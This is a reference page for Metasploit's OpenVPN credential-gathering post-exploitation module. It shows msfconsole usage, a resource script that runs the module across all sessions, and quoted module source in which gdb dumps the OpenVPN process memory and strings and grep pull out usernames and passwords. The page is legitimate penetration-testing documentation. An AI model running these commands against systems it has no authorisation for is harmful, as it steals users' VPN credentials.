OpenVPN Gather Credentials - Metasploit


This page contains detailed information about how to use the post/linux/gather/openvpn_credentials metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: OpenVPN Gather Credentials
Module: post/linux/gather/openvpn_credentials
Source code: modules/post/linux/gather/openvpn_credentials.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module grab OpenVPN credentials from a running process in Linux. Note: --auth-nocache must not be set in the OpenVPN command line.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/openvpn_credentials

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/openvpn_credentials
msf post(openvpn_credentials) > show options
    ... show and set options ...
msf post(openvpn_credentials) > set SESSION session-id
msf post(openvpn_credentials) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/openvpn_credentials")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • PID: Process IDentifier to OpenVPN client.

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Msfconsole Usage

Here is how the linux/gather/openvpn_credentials post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/openvpn_credentials

msf6 post(linux/gather/openvpn_credentials) > show info

       Name: OpenVPN Gather Credentials
     Module: post/linux/gather/openvpn_credentials
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  rvrsh3ll
  Roberto Soares Espreto <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PID                        yes       Process IDentifier to OpenVPN client.
  SESSION                    yes       The session to run this module on.
  TMP_PATH  /tmp/            yes       The path to the directory to save dump process

Description:
  This module grab OpenVPN credentials from a running process in 
  Linux. Note: --auth-nocache must not be set in the OpenVPN command 
  line.

References:
  https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh

Module Options

This is a complete list of options available in the linux/gather/openvpn_credentials post exploitation module:

msf6 post(linux/gather/openvpn_credentials) > show options

Module options (post/linux/gather/openvpn_credentials):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PID                        yes       Process IDentifier to OpenVPN client.
   SESSION                    yes       The session to run this module on.
   TMP_PATH  /tmp/            yes       The path to the directory to save dump process

Advanced Options

Here is a complete list of advanced options supported by the linux/gather/openvpn_credentials post exploitation module:

msf6 post(linux/gather/openvpn_credentials) > show advanced

Module advanced options (post/linux/gather/openvpn_credentials):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/gather/openvpn_credentials module can do:

msf6 post(linux/gather/openvpn_credentials) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/gather/openvpn_credentials post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/openvpn_credentials) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module requires root permissions.

Here is a relevant code snippet related to the "This module requires root permissions." error message:

49:	  def run
50:	    user = cmd_exec('/usr/bin/whoami')
51:	    print_good("Module running as \"#{user}\" user")
52:	
53:	    unless is_root?
54:	      print_error('This module requires root permissions.')
55:	      return
56:	    end
57:	
58:	    dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
59:	    if dump.chomp.to_i == 0

Could not dump process.

Here is a relevant code snippet related to the "Could not dump process." error message:

57:	
58:	    dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
59:	    if dump.chomp.to_i == 0
60:	      vprint_good('Succesfully dump.')
61:	    else
62:	      print_warning('Could not dump process.')
63:	      return
64:	    end
65:	
66:	    strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ  | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
67:

Could not remove dumped files. Remove manually.

Here is a relevant code snippet related to the "Could not remove dumped files. Remove manually." error message:

67:	
68:	    deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
69:	    if deldump.chomp.to_i == 0
70:	      vprint_good('Removing temp files successfully.')
71:	    else
72:	      print_warning('Could not remove dumped files. Remove manually.')
73:	    end
74:	
75:	    fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
76:	
77:	    vprint_good("OpenVPN Credentials:\n#{strings}")

No credentials. You can check if the PID is correct.

Here is a relevant code snippet related to the "No credentials. You can check if the PID is correct." error message:

70:	      vprint_good('Removing temp files successfully.')
71:	    else
72:	      print_warning('Could not remove dumped files. Remove manually.')
73:	    end
74:	
75:	    fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
76:	
77:	    vprint_good("OpenVPN Credentials:\n#{strings}")
78:	
79:	    p = store_loot(
80:	      'openvpn.grab',

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References

See Also

Check also the following modules related to this module:

Authors

  • rvrsh3ll
  • Roberto Soares Espreto <robertoespreto[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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